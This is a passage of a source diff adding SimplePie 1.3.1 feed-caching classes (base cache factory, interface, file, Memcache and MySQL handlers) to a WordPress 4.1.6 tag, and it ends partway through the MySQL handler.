+		{
+			return $this->link;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Author's email address
+	 *
+	 * @return string|null
+	 */
+	public function get_email()
+	{
+		if ($this->email !== null)
+		{
+			return $this->email;
+		}
+		else
+		{
+			return null;
+		}
+	}
+}
+
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache.php	(revision 33402)
@@ -0,0 +1,133 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Used to create cache objects
+ *
+ * This class can be overloaded with {@see SimplePie::set_cache_class()},
+ * although the preferred way is to create your own handler
+ * via {@see register()}
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache
+{
+	/**
+	 * Cache handler classes
+	 *
+	 * These receive 3 parameters to their constructor, as documented in
+	 * {@see register()}
+	 * @var array
+	 */
+	protected static $handlers = array(
+		'mysql' => 'SimplePie_Cache_MySQL',
+		'memcache' => 'SimplePie_Cache_Memcache',
+	);
+
+	/**
+	 * Don't call the constructor. Please.
+	 */
+	private function __construct() { }
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @param string $location URL location (scheme is used to determine handler)
+	 * @param string $filename Unique identifier for cache object
+	 * @param string $extension 'spi' or 'spc'
+	 * @return SimplePie_Cache_Base Type of object depends on scheme of `$location`
+	 */
+	public static function get_handler($location, $filename, $extension)
+	{
+		$type = explode(':', $location, 2);
+		$type = $type[0];
+		if (!empty(self::$handlers[$type]))
+		{
+			$class = self::$handlers[$type];
+			return new $class($location, $filename, $extension);
+		}
+
+		return new SimplePie_Cache_File($location, $filename, $extension);
+	}
+
+	/**
+	 * Create a new SimplePie_Cache object
+	 *
+	 * @deprecated Use {@see get_handler} instead
+	 */
+	public function create($location, $filename, $extension)
+	{
+		trigger_error('Cache::create() has been replaced with Cache::get_handler(). Switch to the registry system to use this.', E_USER_DEPRECATED);
+		return self::get_handler($location, $filename, $extension);
+	}
+
+	/**
+	 * Register a handler
+	 *
+	 * @param string $type DSN type to register for
+	 * @param string $class Name of handler class. Must implement SimplePie_Cache_Base
+	 */
+	public static function register($type, $class)
+	{
+		self::$handlers[$type] = $class;
+	}
+
+	/**
+	 * Parse a URL into an array
+	 *
+	 * @param string $url
+	 * @return array
+	 */
+	public static function parse_URL($url)
+	{
+		$params = parse_url($url);
+		$params['extras'] = array();
+		if (isset($params['query']))
+		{
+			parse_str($params['query'], $params['extras']);
+		}
+		return $params;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache/Base.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache/Base.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache/Base.php	(revision 33402)
@@ -0,0 +1,114 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Base for cache objects
+ *
+ * Classes to be used with {@see SimplePie_Cache::register()} are expected
+ * to implement this interface.
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+interface SimplePie_Cache_Base
+{
+	/**
+	 * Feed cache type
+	 *
+	 * @var string
+	 */
+	const TYPE_FEED = 'spc';
+
+	/**
+	 * Image cache type
+	 *
+	 * @var string
+	 */
+	const TYPE_IMAGE = 'spi';
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type);
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data);
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load();
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime();
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch();
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink();
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache/DB.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache/DB.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache/DB.php	(revision 33402)
@@ -0,0 +1,137 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Base class for database-based caches
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+abstract class SimplePie_Cache_DB implements SimplePie_Cache_Base
+{
+	/**
+	 * Helper for database conversion
+	 *
+	 * Converts a given {@see SimplePie} object into data to be stored
+	 *
+	 * @param SimplePie $data
+	 * @return array First item is the serialized data for storage, second item is the unique ID for this item
+	 */
+	protected static function prepare_simplepie_object_for_cache($data)
+	{
+		$items = $data->get_items();
+		$items_by_id = array();
+
+		if (!empty($items))
+		{
+			foreach ($items as $item)
+			{
+				$items_by_id[$item->get_id()] = $item;
+			}
+
+			if (count($items_by_id) !== count($items))
+			{
+				$items_by_id = array();
+				foreach ($items as $item)
+				{
+					$items_by_id[$item->get_id(true)] = $item;
+				}
+			}
+
+			if (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
+			}
+			elseif (isset($data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0]))
+			{
+				$channel =& $data->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['channel'][0];
+			}
+			else
+			{
+				$channel = null;
+			}
+
+			if ($channel !== null)
+			{
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['entry']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item']);
+				}
+				if (isset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']))
+				{
+					unset($channel['child'][SIMPLEPIE_NAMESPACE_RSS_20]['item']);
+				}
+			}
+			if (isset($data->data['items']))
+			{
+				unset($data->data['items']);
+			}
+			if (isset($data->data['ordered_items']))
+			{
+				unset($data->data['ordered_items']);
+			}
+		}
+		return array(serialize($data->data), $items_by_id);
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache/File.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache/File.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache/File.php	(revision 33402)
@@ -0,0 +1,173 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to the filesystem
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache_File implements SimplePie_Cache_Base
+{
+	/**
+	 * Location string
+	 *
+	 * @see SimplePie::$cache_location
+	 * @var string
+	 */
+	protected $location;
+
+	/**
+	 * Filename
+	 *
+	 * @var string
+	 */
+	protected $filename;
+
+	/**
+	 * File extension
+	 *
+	 * @var string
+	 */
+	protected $extension;
+
+	/**
+	 * File path
+	 *
+	 * @var string
+	 */
+	protected $name;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->location = $location;
+		$this->filename = $name;
+		$this->extension = $type;
+		$this->name = "$this->location/$this->filename.$this->extension";
+	}
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if (file_exists($this->name) && is_writeable($this->name) || file_exists($this->location) && is_writeable($this->location))
+		{
+			if ($data instanceof SimplePie)
+			{
+				$data = $data->data;
+			}
+
+			$data = serialize($data);
+			return (bool) file_put_contents($this->name, $data);
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		if (file_exists($this->name) && is_readable($this->name))
+		{
+			return unserialize(file_get_contents($this->name));
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		if (file_exists($this->name))
+		{
+			return filemtime($this->name);
+		}
+		return false;
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		if (file_exists($this->name))
+		{
+			return touch($this->name);
+		}
+		return false;
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		if (file_exists($this->name))
+		{
+			return unlink($this->name);
+		}
+		return false;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache/Memcache.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache/Memcache.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache/Memcache.php	(revision 33402)
@@ -0,0 +1,183 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to memcache
+ *
+ * Registered for URLs with the "memcache" protocol
+ *
+ * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
+ * connect to memcache on `localhost` on port 11211. All tables will be
+ * prefixed with `sp_` and data will expire after 3600 seconds
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ * @uses Memcache
+ */
+class SimplePie_Cache_Memcache implements SimplePie_Cache_Base
+{
+	/**
+	 * Memcache instance
+	 *
+	 * @var Memcache
+	 */
+	protected $cache;
+
+	/**
+	 * Options
+	 *
+	 * @var array
+	 */
+	protected $options;
+
+	/**
+	 * Cache name
+	 *
+	 * @var string
+	 */
+	protected $name;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->options = array(
+			'host' => '127.0.0.1',
+			'port' => 11211,
+			'extras' => array(
+				'timeout' => 3600, // one hour
+				'prefix' => 'simplepie_',
+			),
+		);
+		$parsed = SimplePie_Cache::parse_URL($location);
+		$this->options['host'] = empty($parsed['host']) ? $this->options['host'] : $parsed['host'];
+		$this->options['port'] = empty($parsed['port']) ? $this->options['port'] : $parsed['port'];
+		$this->options['extras'] = array_merge($this->options['extras'], $parsed['extras']);
+		$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
+
+		$this->cache = new Memcache();
+		$this->cache->addServer($this->options['host'], (int) $this->options['port']);
+	}
+
+	/**
+	 * Save data to the cache
+	 *
+	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
+	 * @return bool Successfulness
+	 */
+	public function save($data)
+	{
+		if ($data instanceof SimplePie)
+		{
+			$data = $data->data;
+		}
+		return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
+	}
+
+	/**
+	 * Retrieve the data saved to the cache
+	 *
+	 * @return array Data for SimplePie::$data
+	 */
+	public function load()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			return unserialize($data);
+		}
+		return false;
+	}
+
+	/**
+	 * Retrieve the last modified time for the cache
+	 *
+	 * @return int Timestamp
+	 */
+	public function mtime()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			// essentially ignore the mtime because Memcache expires on it's own
+			return time();
+		}
+
+		return false;
+	}
+
+	/**
+	 * Set the last modified time to the current time
+	 *
+	 * @return bool Success status
+	 */
+	public function touch()
+	{
+		$data = $this->cache->get($this->name);
+
+		if ($data !== false)
+		{
+			return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->duration);
+		}
+
+		return false;
+	}
+
+	/**
+	 * Remove the cache
+	 *
+	 * @return bool Success status
+	 */
+	public function unlink()
+	{
+		return $this->cache->delete($this->name, 0);
+	}
+}
Index: /tags/4.1.6/src/wp-includes/SimplePie/Cache/MySQL.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Cache/MySQL.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Cache/MySQL.php	(revision 33402)
@@ -0,0 +1,438 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Caches data to a MySQL database
+ *
+ * Registered for URLs with the "mysql" protocol
+ *
+ * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
+ * connect to the `mydb` database on `localhost` on port 3306, with the user
+ * `root` and the password `password`. All tables will be prefixed with `sp_`
+ *
+ * @package SimplePie
+ * @subpackage Caching
+ */
+class SimplePie_Cache_MySQL extends SimplePie_Cache_DB
+{
+	/**
+	 * PDO instance
+	 *
+	 * @var PDO
+	 */
+	protected $mysql;
+
+	/**
+	 * Options
+	 *
+	 * @var array
+	 */
+	protected $options;
+
+	/**
+	 * Cache ID
+	 *
+	 * @var string
+	 */
+	protected $id;
+
+	/**
+	 * Create a new cache object
+	 *
+	 * @param string $location Location string (from SimplePie::$cache_location)
+	 * @param string $name Unique ID for the cache
+	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
+	 */
+	public function __construct($location, $name, $type)
+	{
+		$this->options = array(
+			'user' => null,
+			'pass' => null,
+			'host' => '127.0.0.1',
+			'port' => '3306',
+			'path' => '',
+			'extras' => array(
+				'prefix' => '',
+			),
+		);
+		$this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));
+
+		// Path is prefixed with a "/"
+		$this->options['dbname'] = substr($this->options['path'], 1);
+
+		try
+		{
+			$this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
+		}
+		catch (PDOException $e)
+		{
+			$this->mysql = null;
+			return;
+		}
+
+		$this->id = $name . $type;
+
+		if (!$query = $this->mysql->query('SHOW TABLES'))
+		{
+			$this->mysql = null;
+			return;
+		}
+
+		$db = array();
+		while ($row = $query->fetchColumn())
+		{
+			$db[] = $row;
+		}
+
+		if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db))
+		{
+			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
+			if ($query === false)
+			{
+				$this->mysql = null;
+			}
+		}
+
+		if (!in_array($this->options['extras']['prefix'] . 'items', $db))
+		{
+			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
+			if ($query === false)
+			{
+				$this->mysql = null;
+			}
+		}
+	}
+
+	/**
+	 * Save data to the cache
+	 *
